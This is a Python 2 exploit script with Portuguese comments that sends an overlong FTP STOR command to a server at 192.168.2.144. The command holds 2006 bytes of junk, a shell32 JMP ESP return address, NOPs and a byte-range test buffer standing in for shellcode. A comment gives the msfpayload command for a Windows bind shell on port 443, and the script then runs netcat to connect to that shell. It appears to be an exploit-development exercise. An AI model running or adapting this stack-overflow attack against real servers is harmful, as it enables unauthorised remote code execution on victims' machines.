#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import os
import time


#./msfpayload  windows/shell_bind_tcp LPORT=443 R | msfencode -t c
shellcode=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

junk="\x41"*2006
eip="\x65\x82\xA5\x7C"*4 #endereço onde se encontra o JMP ESP da Shell 32 ---> 7CA58265
nops="\x90"*12
rest="\xcc"*(3000-len(junk+eip+nops+shellcode))
lixo=junk+eip+nops+shellcode+rest

print "Valor do resto a seguir a shell",len(rest)
print 'Valor total',len(lixo),'bytes'

print "Connecting"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.2.144',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
print "A enviar lixo para definir onde se encontra inicio e fim do EIP"
s.send('STOR ' + lixo + '\r\n')
print "Lixo enviado"
s.close()
time.sleep(4)
cmd='nc 192.168.2.144 443'
os.system(cmd)
